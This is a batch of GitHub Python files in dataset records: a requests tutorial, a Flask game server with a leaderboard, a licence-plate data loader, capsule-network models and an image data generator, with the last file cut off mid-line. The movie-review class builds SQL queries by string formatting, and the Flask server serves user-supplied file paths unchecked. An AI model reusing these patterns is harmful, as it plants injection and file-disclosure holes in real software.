== ord('q'):\r\n break\r\n\r\n# Release the camera and close all windows\r\ncap.release()\r\ncv2.destroyAllWindows()\r\n","repo_name":"VrajParekh/facial-emotion-detection","sub_path":"emotion_detection.py","file_name":"emotion_detection.py","file_ext":"py","file_size_in_byte":2059,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"20611921652","text":"import requests\nfrom requests.exceptions import HTTPError\n\n\ndef get_response_example():\n response = requests.get('https://api.github.com/helloworld')\n\n print(response.status_code)\n\n if response.status_code == 200:\n print(\"success!\")\n if response.status_code == 404:\n print(\"Not found!\")\n\n if response.status_code:\n print(\"Success!\")\n else:\n print(\"Error!\")\n\n\ndef bool_values():\n\n\n class MyClass:\n def __init__(self, value: int = 0):\n self.value = value\n\n def __bool__(self):\n return self.value != 0\n\n\n m = MyClass(5)\n print(m.value)\n\n if m.value:\n print(\"Value is set\")\n else:\n print(\"Value is not set\")\n\n\ndef request_exceptions():\n try:\n response = requests.get('https://api.github.com/')\n\n # om response var \"successful\", gör inget. Annars raise exception\n response.raise_for_status()\n except HTTPError as http_err:\n print(f'HTTP error occurred: {http_err}')\n except Exception as err:\n print(f'Other error occurred: {err}')\n else:\n print(f'Success! {response.status_code}')\n data = response.json() # avkoda dokumentet som JSON. sparas som python dict\n\n\ndef request_with_params_and_haeaders():\n response = requests.get('https://api.github.com/search/repositories',\n params={'q': 'requests+language:python'},\n header={'Accept': 'application/vnd.github.v3.match-text+json'})\n\n data = response.json()\n first_hit = data['items'][0]\n print(first_hit['name'])\n print(first_hit['description'])\n\n\ndef request_with_other_methods():\n response = requests.head('https://httpbin.org/get')\n print(response.headers['Content-Type'])\n print(response.text)\n\n response = requests.delete('https://httpbin.org/delete')\n print(response.status_code)\n print(response.text)\n\n response = requests.post('https://httpbin.org/post', data={'key': 'value'})\n # application/x-www-form-urlencoded\n print(response.status_code)\n\n # inspektera hur vår fråga såg ut\n print(response.request.url)\n\n\nrequest = requests.get('http://httpbin.org/basic-auth/kyhtest/abcde', auth=('kyhtest', 'abcde'))\nprint('Response code', request.status_code)\nprint('Response content: \\n', request.text)","repo_name":"JessikaRisberg/system-integration-assignment1","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":2323,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"28881517108","text":"from flask import Flask, render_template, url_for, Response, jsonify, request ,redirect, send_file, abort;\nimport os;\nimport requests;\nfrom zipfile import ZipFile;\nimport io;\nimport json;\nimport datetime;\nimport sqlite3;\nimport base64;\nimport zlib;\nimport json;\n#import sheetsupdater;\n\nmain_path = os.path.abspath(\".\");\n\nUSE_PROXY_ASSETS = True;\n\napp = Flask(__name__,static_folder=\"\",template_folder=main_path);\n\nREWIND_ASSETS = [\n \"ui/options/cntr_rwnd_d.png\",\n \"ui/options/cntr_rwnd_h.png\",\n \"ui/options/cntr_rwnd_n.png\",\n \"ui/options/rwnd_quality.png\",\n \"ui/options/rwnd_tab.png\",\n \"ui/options/rwnd_timescale.png\",\n \"ui/options/rwnd_txt.png\",\n \"img/rewind.png\"\n]\n\nCONTENT_TYPE_DICT = {\n \"jpg\": \"image/jpg\",\n \"png\": \"image/png\",\n \"mis\": \"application/octet-stream\",\n \"css\": \"text/css; charset=utf-8\",\n \"wav\": \"application/octet-stream\",\n \"ogg\": \"application/octet-stream\"\n}\n\ndef get_content_type(content):\n extension = content[-3:];\n if (extension in CONTENT_TYPE_DICT):\n return CONTENT_TYPE_DICT[extension];\n return \"text/html; charset=utf-8\";\n \n\n@app.route('/')\ndef main():\n resp = send_file(os.path.join(main_path,\"index.html\"));\n resp.headers[\"Cache-Control\"] = \"no-store\";\n return resp;\n\n@app.route('/index.html')\ndef mainindex():\n resp = send_file(os.path.join(main_path,\"index.html\"));\n resp.headers[\"Cache-Control\"] = \"no-store\";\n return resp;\n\n@app.route('/manifest.json')\ndef manifest():\n resp = send_file(os.path.join(main_path,\"manifest.json\"));\n resp.headers[\"Cache-Control\"] = \"public, max-age=14400\";\n resp.headers[\"Content-Type\"] = \"application/json\";\n return resp;\n\n@app.route('/sw.js')\ndef swjs():\n resp = send_file(os.path.join(main_path,\"sw.js\"));\n resp.headers[\"Cache-Control\"] = \"public, max-age=14400\";\n resp.headers[\"Content-Type\"] = \"application/javascript\";\n return resp;\n\n\n@app.route('/assets/')\ndef assets(varargs):\n content_type = get_content_type(varargs);\n if (USE_PROXY_ASSETS):\n url = f\"https://marbleblast.vani.ga/assets/{varargs}\";\n if (varargs not in REWIND_ASSETS and \"data/missions/custom\" not in varargs):\n resp = redirect(url);\n resp.headers[\"Cache-Control\"] = \"public, max-age=14400\";\n resp.headers[\"Content-Type\"] = content_type;\n return resp;\n varargs = varargs.split('/');\n path = os.path.join(main_path,\"assets\",*varargs);\n resp = send_file(path);\n resp.headers[\"Cache-Control\"] = \"public, max-age=14400\";\n resp.headers[\"Content-Type\"] = get_content_type;\n return resp;\n\n@app.route('/bundles/')\ndef bundles(varargs):\n varargs = varargs.split('/');\n path = os.path.join(main_path,\"bundles\",*varargs);\n resp = send_file(path);\n resp.headers[\"Cache-Control\"] = \"no-store\";\n if (\".js\" in path):\n resp.mimetype = \"application/javascript\";\n if (\".css\" in path):\n resp.mimetype = \"text/css\"; \n return resp; \n\n@app.route('/css/')\ndef css(varargs):\n varargs = varargs.split('/');\n path = os.path.join(main_path,\"css\",*varargs);\n resp = send_file(path);\n resp.mimetype = \"text/css\";\n return resp;\n\n@app.route('/js/')\ndef js(varargs):\n varargs = varargs.split('/');\n path = os.path.join(main_path,\"js\",*varargs);\n resp = send_file(path);\n resp.headers[\"Cache-Control\"] = \"no-store\";\n resp.mimetype = \"application/javascript\";\n return resp;\n\n@app.route('/lib/')\ndef lib(varargs):\n varargs = varargs.split('/');\n path = os.path.join(main_path,\"lib\",*varargs);\n resp = send_file(path);\n resp.mimetype = \"application/javascript\";\n return resp;\n\ndef scan_directory(path):\n dirstruct = os.listdir(path);\n ret = {};\n\n for file in dirstruct:\n ret[file] = None;\n if (os.path.isdir(os.path.join(path,file))):\n ret[file] = scan_directory(os.path.join(path,file));\n\n return ret;\n\n@app.route('/api/directory_structure')\ndef get_directory_structure():\n if (USE_PROXY_ASSETS):\n with open(os.path.join(main_path,\"assets\",\"directory_structure.json\")) as f:\n j = json.loads(f.read());\n return jsonify(j);\n return jsonify(scan_directory(os.path.join(main_path,\"assets\",\"data\")));\n\n@app.route('/api/directory_structure_mbp')\ndef get_directory_structure_mbp():\n if (USE_PROXY_ASSETS):\n with open(os.path.join(main_path,\"assets\",\"directory_structure_mbp.json\")) as f:\n j = json.loads(f.read());\n return jsonify(j);\n return jsonify(scan_directory(os.path.join(main_path,\"assets\",\"data_mbp\")));\n\n@app.route('/api/custom/')\ndef get_custom_mission(path):\n if (USE_PROXY_ASSETS):\n return redirect(f\"https://marbleblast.vani.ga/api/custom/{path}\");\n return 404;\n\n@app.route('/api/version_history')\ndef version_history():\n resp = send_file(os.path.join(main_path, \"..\", \"version_history.md\"))\n resp.headers[\"Cache-Control\"] = \"no-cache, no-store\";\n resp.headers[\"Content-Type\"] = 'text/markdown';\n return resp;\n\n@app.route('/api/activity')\ndef register_activity():\n return \"OK\";\n\n@app.route(\"/api/error\", methods = [ \"POST\" ])\ndef log_error():\n postdata = request.get_json();\n \n if (not os.path.isdir(os.path.join(main_path,'storage','logs'))):\n os.mkdir(os.path.join(main_path,'storage','logs'));\n\n\n s = str(datetime.datetime.now()) + \" | \" + postdata['userAgent'] + \"\\n\";\n errs = postdata['errors'];\n\n for kvp in errs:\n s += kvp[\"filename\"] + \":\" + str(kvp[\"line\"]) + \":\" + str(kvp[\"column\"]) + \" \" + kvp[\"message\"] + \"\\n\";\n\n s += \"\\n\";\n\n with open(os.path.join(main_path,'storage','logs','user_errors.log'),\"a\") as f:\n print(s,file = f);\n\n return \"OK\";\n\n@app.route(\"/api/scores\", methods = [ \"POST \"])\ndef get_leaderboard():\n options = request.get_json();\n\n responsedict = {};\n\n for mission in options[\"missions\"]:\n scoredata = get_scores(mission, 100)\n responsedict[mission] = scoredata;\n\n return jsonify(responsedict);\n\ndef setup_db():\n lb = sqlite3.connect(os.path.join(main_path,'storage','leaderboards.db'));\n cur = lb.cursor();\n cur.execute('''\n CREATE TABLE IF NOT EXISTS scores(\n mission varchar(256),\n score float,\n username varchar(256)\n );\n ''');\n cur.execute('''\n CREATE TABLE IF NOT EXISTS topreplays(\n mission varchar(256),\n score float,\n replay mediumblob\n );\n ''');\n cur.close();\n lb.commit();\n lb.close();\n\ndef get_scores(mission,count):\n lb = sqlite3.connect(os.path.join(main_path,'storage','leaderboards.db'));\n cur = lb.cursor();\n results = cur.execute(\"SELECT username,score FROM scores WHERE mission=? ORDER BY score ASC LIMIT ?;\",(mission,count));\n data = [];\n for tup in results:\n data.append([tup[0],tup[1]]);\n cur.close();\n lb.close();\n return data;\n\ndef save_score(mission,username,score):\n inserted = False;\n lb = sqlite3.connect(os.path.join(main_path,'storage','leaderboards.db'));\n cur = lb.cursor();\n res = cur.execute(\"SELECT username,score FROM scores WHERE (mission=? AND username=?);\",(mission,username)).fetchall();\n if (len(res) <= 0):\n cur.execute(\"INSERT INTO scores VALUES(?,?,?);\",(mission,score,username));\n inserted = True\n else:\n lastscore = res[0][1];\n if (lastscore > score):\n cur.execute(\"UPDATE scores SET score=? WHERE (mission=? AND username=?);\",(score,mission,username));\n inserted = True;\n lb.commit();\n cur.close();\n lb.close();\n return inserted\n\ndef upload_top_replay(mission,time,replaydata):\n lb = sqlite3.connect(os.path.join(main_path,'storage','leaderboards.db'));\n cur = lb.cursor();\n cur.execute(\"DELETE FROM topreplays WHERE mission=?\",(mission,));\n cur.execute(\"INSERT INTO topreplays VALUES(?,?,?);\",(mission,time,replaydata));\n lb.commit();\n cur.close();\n lb.close();\n\ndef get_top_replay(mission):\n lb = sqlite3.connect(os.path.join(main_path,'storage','leaderboards.db'));\n cur = lb.cursor();\n res = cur.execute(\"SELECT replay FROM topreplays WHERE mission=?\",(mission,)).fetchall();\n if (len(res) > 0):\n cur.close();\n lb.close();\n return res[0];\n else:\n cur.close();\n lb.close();\n return None;\n\n@app.route(\"/leaderboards\", methods = [ \"GET\", \"POST\" ])\ndef leaderboards():\n if (request.method == \"GET\"):\n mission = request.args.get('mission');\n count = request.args.get('count',100);\n data = get_scores(mission,count);\n return jsonify(data);\n \n if (request.method == \"POST\"):\n data = request.get_json();\n username = data[\"username\"];\n score = data[\"score\"];\n mission = data[\"mission\"];\n\n save_score(mission,username,score);\n\n return \"OK\";\n\nsetup_db();\n\n@app.route(\"/leaderboards/uploadreplay\", methods = [ 'POST' ])\ndef upload_replay():\n\n if (request.headers['Content-Type'] == 'application/octet-stream'):\n replaydata = request.data;\n mission = request.args.get('mission');\n time = request.args.get('time');\n upload_top_replay(mission,time,replaydata);\n return \"OK\", 200;\n\n return \"ERR\", 400;\n\n@app.route(\"/leaderboards/replay\", methods = [ 'GET' ])\ndef get_replay():\n mission = request.args.get('mission');\n topreplay = get_top_replay(mission);\n if (topreplay == None):\n return abort(404);\n else:\n return Response(topreplay,headers={ \"Content-Type\": 'application/octet-stream' });\n\n\n@app.route(\"/leaderboards/has_replay\", methods = [ 'GET' ])\ndef has_replay():\n mission = request.args.get('mission');\n topreplay = get_top_replay(mission);\n if (topreplay == None):\n return \"false\";\n else:\n return \"true\";\n\n\n# @app.route(\"/lbs/data\")\n# def get_lb_sheet():\n# return sheetsupdater.get_data();","repo_name":"RandomityGuy/MBG-Web-Rewind","sub_path":"src/python/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":9954,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"} +{"seq_id":"2924816637","text":"from pathlib import Path\nfrom typing import Union, List, Dict\nimport os\nimport re\nimport glob\n\nimport PIL\nimport numpy as np\nimport torchvision\nfrom matplotlib import patches\nfrom torch.utils.data import DataLoader, Dataset\nimport cv2\nfrom PIL import Image\nimport torch\nimport matplotlib.pyplot as plt\n\n\ndef read_image_txt(image_id: str, ) -> Union[List, tuple]:\n \"\"\"\n :param image_id: in the format of: \"track####[##].txt\"\n :return: Union[List(Licence Plate Characters), Plate_Boundary: Tuple(Xmin, Ymin, Xmax, Ymax)]\n \"\"\"\n # print(image_id)\n with open(image_id, \"r\") as txt_file:\n txt = txt_file.readlines()\n\n lp = txt[6].replace(\"plate: \", \"\") # line 6 in the txt has licence plate number\n plate = txt[7] # line 7 has bounding box location for licence plate\n\n plate = ''.join(i for i in plate if i.isdigit() or i == \" \")\n # print(plate.replace(\" \", \"\", 1).split(\" \"))\n\n # removing all extra spaces at the end\n while plate[-1] == \" \":\n plate = plate[:-1]\n\n # convert all the numbers into list items except the first space\n temp_list = [int(i) for i in plate.replace(\" \", \"\", 1).split(\" \")]\n # plate_date = (x_min, y_min, x_max, y_max)\n plate_data = np.array([temp_list[0], temp_list[1], temp_list[0] + temp_list[2], temp_list[1] + temp_list[3]],\n dtype=np.int32)\n # print(f\"{lp[:-1]} {plate_data}\")\n return list(lp)[:-1], plate_data\n\n\ndef id_to_filepath(_id: str) -> str:\n \"\"\"\n returns the absolute filepath (str) of a photo with 6-digit id (\"XXXXUU\") for use during training\n :param _id: string \"XXXXUU\"\n :return file: string absolute filepath\n \"\"\"\n assert (len(_id) == 6)\n track = _id[:4]\n photo_num = _id[4:]\n file = glob.glob(\n f\"C:\\\\Users\\\\Arya\\\\PycharmProjects\\\\projectSentry\\\\ProjectSentry\\\\data\\\\raw\\\\UFPR-ALPR dataset/**/*{track}[[]{photo_num}[]].png\",\n # f\"C:\\\\Users\\\\Arya\\\\workspace\\\\ProjectSentry\\\\data\\\\raw\\\\UFPR-ALPR dataset/**/*{track}[[]{photo_num}[]].png\",\n recursive=True\n )[0]\n\n return file\n\n\ndef annotate_frame_with_bb(image: PIL.Image, bounding_box_model, resize, image_id: str = None, *args):\n \"\"\"\n :param image: PIL Image\n :param image_id: String\n :param bounding_box_model: Tuple(x_min, y_min, x_max, y_max)\n :param resize: torchvision.transforms.Resize\n :param args: torchvision.transforms.\"transform\" (i.e. resize or grayscale)\n :return: fig, ax\n \"\"\"\n\n fig, ax = plt.subplots()\n t_image = image\n for T in args:\n t_image = T(torchvision.transforms.ToTensor()(t_image))\n\n t_image = resize(t_image)\n n_image = resize(image)\n\n if image_id is not None:\n _, true_bb = read_image_txt(f\"{image_id}.txt\")\n real_bb = mask_to_bb(resize(Image.fromarray(create_mask(true_bb, np.asarray(image)))))\n print(f\"True (blue): {real_bb}\")\n x_min, y_min, x_max, y_max = real_bb\n rect = patches.Rectangle(\n (x_min, y_min), x_max - x_min, y_max - y_min,\n linewidth=.5,\n edgecolor='b',\n facecolor='none'\n )\n ax.add_patch(rect)\n\n ax.imshow(n_image, cmap='gray')\n\n # t_image = torch.tensor(np.asarray(t_image), dtype=torch.float32)\n # t_image = t_image.permute(2, 0, 1)\n bb = bounding_box_model(t_image[None, :]).detach().mean(axis=0) # model(image[None, :]).detach().mean(axis=0)\n print(f\"Model predicted (red): {bb}\")\n x_min, y_min, x_max, y_max = bb\n rect = patches.Rectangle(\n (x_min, y_min), x_max - x_min, y_max - y_min,\n linewidth=.5,\n edgecolor='r',\n facecolor='none'\n )\n ax.add_patch(rect)\n\n return fig, ax\n\n\ndef create_mask(bb, x):\n \"\"\"Creates a mask for the bounding box of same shape as image\"\"\"\n # print(bb)\n rows, cols, *_ = x.shape\n Y = np.zeros((rows, cols))\n # bb = bb.astype(np.int)\n Y[bb[1]:bb[3] + 1, bb[0]:bb[2] + 1] = 1\n return Y\n\n\ndef mask_to_bb(Y):\n \"\"\"Convert mask Y to a bounding box, assumes 0 as background nonzero object\"\"\"\n cols, rows = np.nonzero(Y)\n if len(cols) == 0:\n return np.zeros(4, dtype=np.float32)\n x_min = np.min(rows)\n y_min = np.min(cols)\n x_max = np.max(rows)\n y_max = np.max(cols)\n return np.array([x_min, y_min, x_max, y_max], dtype=np.int32)\n\n\ndef resize_image_bb(image: PIL.Image, bb, sz):\n # write_path,\n \"\"\"Resize an image and its bounding box and write image to new path\"\"\"\n im = np.asarray(image)\n # print(im.shape)\n im_resized = cv2.resize(im, (int((16 / 9) * sz), sz))\n Y_resized = cv2.resize(create_mask(bb, im), (int((16 / 9) * sz), sz))\n # new_path = str(write_path/read_path.parts[-1])\n # cv2.imwrite(new_path, cv2.cvtColor(im_resized, cv2.COLOR_RGB2BGR))\n return im_resized, mask_to_bb(Y_resized)\n\n\n# Good one. Use with Pytorch Dataloader. Don't use the previous one\n\nclass UFPRDataset(Dataset):\n def __init__(self, dataset_dir, normalize, grayscale=None, resize=None):\n self.normalize = normalize\n self.resize = resize\n self.grayscale = grayscale\n self.dataset_dir = dataset_dir\n\n # Dict[int(Image_Id) -> Tuple(Licence Plate #, Licence Plate Coords)]\n self.ids = []\n self.labels = {}\n\n self._setup()\n\n def __len__(self):\n return len(self.ids)\n\n def __getitem__(self, idx):\n img_path = id_to_filepath(self.ids[idx])\n image = np.asarray(Image.open(img_path))\n print(image.shape)\n label = self.labels[str(self.ids[idx])]\n\n if self.resize:\n # computes new label (new bounding box coords) (from old image size) then resizes image\n label = label[0], mask_to_bb(self.resize(Image.fromarray(create_mask(label[1], image))))\n image = np.asarray(self.resize(Image.fromarray(image)))\n print(image.shape)\n if self.grayscale:\n image = np.asarray(self.grayscale(Image.fromarray(image)))\n toTensor = torchvision.transforms.ToTensor()\n print(image.shape)\n image = np.asarray(self.normalize(toTensor(image)))\n print(image.shape)\n image = torch.tensor(image, dtype=torch.float32)\n\n assert image.shape == (3, 500, 888), f\"Image shape is {image.shape}\"\n return image, label\n\n def _setup(self):\n os.chdir(self.dataset_dir)\n\n # each image is labeled in the format:\n # track####[##].png (with an accompanying track####[##].txt\n\n # filters out the \"track\" from each folder name\n _training_cars = [re.sub(\"[^0123456789]\", \"\", i) for i in (os.listdir(self.dataset_dir))]\n # print(_training_cars)\n\n # list of id paths in the training set\n _training_ids_and_txt = []\n\n for car in _training_cars:\n if car.isdigit():\n _training_ids_and_txt.extend(os.listdir(os.path.join(self.dataset_dir, f\"track{car}\")))\n # print(f\"{_training_ids} + \\n\")\n\n # list of the features corresponding to each training id (\"XXXXUU\" 4-digit number plus 2-digit photo #)\n # for each car\n _training_features = [\n read_image_txt(\n os.path.join(self.dataset_dir, f\"track{training_id[5:9]}\", training_id)\n ) for training_id in _training_ids_and_txt if (\".txt\" in training_id)\n ]\n\n _training_ids = [training_id for training_id in _training_ids_and_txt if (\".png\" in training_id)]\n\n # list of training ids for each car (\"XXXXUU\" 4-digit number plus 2-digit photo #)\n _training_ids = [re.sub(\"[^0123456789]\", \"\", i) for i in _training_ids]\n\n self.ids = _training_ids\n # dictionary that maps training id to features for each photo\n self.labels = {photo_id: feature for photo_id, feature in zip(_training_ids, _training_features)}\n print(\"finished setting up data\")\n","repo_name":"a-lohia/ProjectSentry","sub_path":"src/data/car_plate_dataset.py","file_name":"car_plate_dataset.py","file_ext":"py","file_size_in_byte":7872,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"6893728648","text":"import os\nimport sqlite3 as sql\n\n\nclass Movie:\n\n def __init__(self):\n \"create table if doesnot exist\"\n with sql.connect(\"../../app/data.db\") as connect:\n connect.execute('''CREATE TABLE IF NOT EXISTS movies (name TEXT NOT NULL,\n review INTEGER NOT NULL,\n count INTEGER NOT NULL,\n id INTEGER PRIMARY KEY AUTOINCREMENT);''')\n\n def register(self, movie_name):\n \"register new movie\"\n errorValue = 0\n try:\n with sql.connect(\"../../app/data.db\") as connect:\n cursor = connect.cursor()\n cursor.execute(\n \"SELECT name FROM movies WHERE name ='%s';\" % movie_name)\n data = cursor.fetchone()\n if data:\n errorValue = 1\n cursor.execute(\n \"SELECT * FROM movies WHERE name ='%s';\" % movie_name)\n data1 = cursor.fetchone()\n print(data1)\n else:\n cursor.execute(\"INSERT INTO movies(name, review, count) VALUES (?,?,?);\",\n (movie_name, 0, 0))\n connect.commit()\n except:\n errorValue = 2\n return errorValue\n\n def update_review(self, movie_name, review, count):\n errorValue = 0\n try:\n with sql.connect(\"../../app/data.db\") as connect:\n cursor = connect.cursor()\n cursor.execute(\n \"SELECT name, review, count FROM movies WHERE name ='%s';\" % movie_name)\n data = cursor.fetchone()\n review += data[1]\n count += data[2]\n if data and review >= 0:\n cursor.execute(\"UPDATE movies SET review = ?, count = ? WHERE name = ?;\",\n (review, count, movie_name))\n connect.commit()\n cursor.execute(\n \"SELECT name, review, count FROM movies WHERE name ='%s';\" % movie_name)\n data = cursor.fetchone()\n print(data)\n else:\n errorValue = 1\n except:\n errorValue = 2\n return errorValue\n\n\nif __name__ == '__main__':\n movie = Movie()\n movie.register(\"avengers\")\n movie.register(\"spiderman\")\n movie.register(\"superman\")\n","repo_name":"nishanthrachakonda/review-tweet","sub_path":"src/sentimental_analysis/spark-2.3.2-bin-hadoop2.7/update_movie_review.py","file_name":"update_movie_review.py","file_ext":"py","file_size_in_byte":2441,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"18836384462","text":"import torch\nfrom torch import nn\nfrom core import models\nfrom typing import Union\nfrom core.layers.operator_matrix import PrimaryCaps\nfrom core.layers.routing_matrix import RoutingMatrix\nfrom core.layers.routing_matrix import Length as LengthMatrix\n\n\nclass HRCaps(nn.Module):\n def __init__(self, in_shape, num_classes=10, routing_name_list: Union[list, tuple] = None,\n backbone=models.resnet50_dwt_tiny_half):\n super(HRCaps, self).__init__()\n self.backbone = backbone(backbone=True, in_channel=in_shape[0])\n shape = self.backbone.compute_shape(in_shape)\n self.primary_caps = PrimaryCaps(shape[0], shape[0], 2, 2, num_capsule=shape[0] // 16, capsule_shape=(4, 4))\n shape = self.primary_caps.compute_shape(shape)\n self.routing = RoutingMatrix(shape[2], num_classes, routing_name_list)\n self.length = LengthMatrix()\n\n def forward(self, x):\n x = self.backbone(x)\n x = self.primary_caps(x)\n x = self.routing(x)\n classes = self.length(x)\n return classes\n\n\nclass LRCaps(nn.Module):\n def __init__(self, in_shape, num_classes=10, routing_name_list: Union[list, tuple] = None,\n backbone=models.resnet10_tiny_half):\n super(LRCaps, self).__init__()\n self.backbone = backbone(backbone=True, in_channel=in_shape[0])\n channels = self.backbone.compute_shape(in_shape)[0]\n self.primary_caps = PrimaryCaps(channels, channels, 1, 1, num_capsule=channels // 16, capsule_shape=(4, 4))\n self.routing = RoutingMatrix(channels // 16, num_classes, routing_name_list)\n self.length = LengthMatrix()\n\n def forward(self, x):\n x = self.backbone(x)\n x = self.primary_caps(x)\n x = self.routing(x)\n classes = self.length(x)\n return classes\n\n\ndef hr_caps_r_fpn(num_classes=10, args=None, **kwargs):\n in_shape = (3, 32, 32) if args.in_shape is None else args.in_shape\n routing_name_list = ['Tiny_FPN'] if args.routing_name_list is None else args.routing_name_list\n backbone = models.__dict__[args.backbone]\n return HRCaps(in_shape, num_classes, routing_name_list, backbone)\n\n\ndef lr_caps_r_fpn(num_classes=10, args=None, **kwargs):\n in_shape = (3, 32, 32) if args.in_shape is None else args.in_shape\n routing_name_list = ['Tiny_FPN'] if args.routing_name_list is None else args.routing_name_list\n backbone = models.__dict__[args.backbone]\n return LRCaps(in_shape, num_classes, routing_name_list, backbone)\n","repo_name":"StephenTaylor1998/high-resolution-capsule","sub_path":"core/models/hr_caps_dwt.py","file_name":"hr_caps_dwt.py","file_ext":"py","file_size_in_byte":2501,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"7205591176","text":"import tensorflow as tf\nimport numpy as np\nfrom typing import Tuple, List\nimport matplotlib.pyplot as plt\nfrom Augmentation import image_augmentation\nfrom random import shuffle\nimport cv2\nimport os\nimport glob\nfrom sklearn.model_selection import train_test_split\nimport json\nimport random\n\n\nclass CustomDataGen(tf.keras.utils.Sequence):\n\n def __init__(self, labels: list, image_path: list, mask_path: list, batch_size: int,\n target_size: Tuple[int, int, int], aug_config: list = []) -> None:\n \"\"\"\n Data generator for the image classification and segmentation task.\n :param labels: array containing labels for images included in the batch.\n :param image_path: list containing paths for images included in the batch.\n :param mask_path: list containing paths for masks for images included in the batch.\n :param batch_size: size of the batch of images fed to the input of the neural network.\n :param target_size: the size to which all images in the dataset are reduced.\n :param aug_config: a dictionary containing the parameter values for augmentation.\n \"\"\"\n self.labels = labels\n self.image_path = image_path\n self.mask_path = mask_path\n self.__shuffle_data()\n self.batch_size = batch_size\n self.target_size = target_size\n self.aug_config = aug_config\n self.number_of_images = len(self.image_path)\n self.num_classes = len(set(self.labels))\n\n def on_epoch_end(self):\n \"\"\"\n Random shuffling of training data at the end of each epoch during training.\n \"\"\"\n if self.augmentation:\n self.__shuffle_data()\n\n def __getitem__(self, index: int) -> Tuple[np.ndarray, List[np.ndarray]]:\n \"\"\"\n Getting batch.\n :param index: batch number.\n :return: image,masks and labels tensors.\n \"\"\"\n image_batch = self.image_path[index * self.batch_size:(index + 1) * self.batch_size]\n mask_batch = self.mask_path[index * self.batch_size:(index + 1) * self.batch_size]\n labels_batch = self.labels[index * self.batch_size:(index + 1) * self.batch_size]\n images, masks, labels = self.__get_data(image_batch, mask_batch, labels_batch)\n return images, [masks, labels]\n\n def __len__(self):\n return self.number_of_images // self.batch_size\n\n def __get_data(self, images_path: list, masks_path: list, labels: np.array, original: bool = False) ->\\\n Tuple[np.ndarray, np.ndarray, np.ndarray]:\n \"\"\"\n Making batch.\n :param images_path: list containing paths for images included in the batch.\n :param masks_path: list containing paths for masks for images included in the batch.\n :param labels: array containing labels for images included in the batch.\n :return: images, masks and labels tensors.\n \"\"\"\n images_batch = list()\n masks_batch = list()\n for image_path, mask_path, label in zip(images_path, masks_path, labels):\n image, mask = self.__get_image_and_mask(image_path, mask_path, original)\n images_batch.append(image)\n masks_batch.append(mask)\n labels_batch = self.__to_categorical(labels)\n masks_batch = np.expand_dims(np.asarray(masks_batch), axis=-1)\n return np.asarray(images_batch), masks_batch, labels_batch\n\n def __get_image_and_mask(self, image_path: str, mask_path: str, original: bool = False)\\\n -> Tuple[np.ndarray, np.ndarray]:\n \"\"\"\n Reads image and mask from a folder .\n :param image_path: path to the image.\n :param mask_path: path to the mask corresponding to the image.\n :return: normalized image and mask arrays.\n \"\"\"\n image = cv2.cvtColor(cv2.imread(image_path), cv2.COLOR_BGR2RGB)\n mask = cv2.imread(mask_path, cv2.IMREAD_GRAYSCALE)\n image = cv2.resize(image, self.target_size[:-1], interpolation=cv2.INTER_AREA)\n mask = cv2.resize(mask, self.target_size[:-1], interpolation=cv2.INTER_AREA)\n if self.aug_config and not original:\n image, mask = self.augmentation(image, mask)\n return image / 255, mask / 255\n\n def __to_categorical(self, labels: np.ndarray) -> np.ndarray:\n \"\"\"\n Converts a class labels to binary class matrix.\n :param labels: class labels of images included in the batch.\n :return: ground truth .\n \"\"\"\n return tf.keras.utils.to_categorical(labels, num_classes=self.num_classes)\n\n def augmentation(self, image: np.array, mask: np.array) -> np.array:\n \"\"\"\n Apply augmentation to the image and mask.\n :param image: image array.\n :param mask: mask array.\n :return: augmented image and mask.\n \"\"\"\n augmentation = image_augmentation(config=self.aug_config, target_shape=self.target_size)\n transform = augmentation(image=image, mask=mask)\n return transform['image'], transform['mask']\n\n def __shuffle_data(self):\n \"\"\"\n Random shuffling of data.\n \"\"\"\n temp = list(zip(self.image_path, self.mask_path, self.labels))\n shuffle(temp)\n self.image_path, self.mask_path, self.labels = zip(*temp)\n\n def show_image_data(self, class_names: list, num_of_examples: int = 3) -> None:\n \"\"\"\n Method for showing original and augmented image with labels.\n :param num_of_examples: number of images to display.\n :param class_names: class names.\n \"\"\"\n for _ in range(num_of_examples):\n j = random.randint(0, self.number_of_images)\n augmented_image, masks, _ = self.__get_data(\n images_path=[self.image_path[j]],\n masks_path=[self.mask_path[j]],\n labels=[self.labels[j]]\n )\n image, _, _ = self.__get_data(\n images_path=[self.image_path[j]],\n masks_path=[self.mask_path[j]],\n labels=[self.labels[j]],\n original=True)\n mask = masks[0, :, :, 0]\n fig, axes = plt.subplots(nrows=1, ncols=3, figsize=(9, 4))\n fig.suptitle('Original, augmented image and mask', fontsize=16)\n axes[0].imshow(image[0, :, :, :])\n axes[0].set_title('Original,\\n {}'.format(class_names[self.labels[j]]), size=12)\n axes[0].axis('off')\n axes[1].imshow(augmented_image[0, :, :, :])\n axes[1].set_title('Augmented, class: \"{}\"'.format(self.labels[j]), size=12)\n axes[1].axis('off')\n axes[2].imshow(mask, cmap=\"gray\")\n axes[2].set_title('Mask', size=12)\n axes[2].axis('off')\n plt.show()\n\n\ndef prepare_dataset(path_to_data: str, valid_size: float, test_size: float):\n \"\"\"\n Method of splitting a dataset into datasets for training, testing and validation.\n :param path_to_data: path to dataframe.\n :param test_size: part of the dataframe that will be allocated to the test set.\n :param valid_size: part of the dataframe that will be allocated to the validation set.\n :return: train, test and validation datasets.\n \"\"\"\n train_img_path = []\n test_img_path = []\n validation_img_path = []\n train_mask_path = []\n test_mask_path = []\n validation_mask_path = []\n train_labels = []\n test_labels = []\n validation_labels = []\n for i, class_name in enumerate(os.listdir(path_to_data)):\n subdirs = os.listdir(os.path.join(path_to_data, class_name))\n for subdir in subdirs:\n if subdir.endswith('GT'):\n mask_path = glob.glob(os.path.join(path_to_data, class_name, subdir, '*.png'), recursive=True)\n else:\n image_path = glob.glob(os.path.join(path_to_data, class_name, subdir, '*.png'), recursive=True)\n\n image_train, image_test, mask_train, mask_test = train_test_split(image_path, mask_path,\n test_size=valid_size + test_size,\n 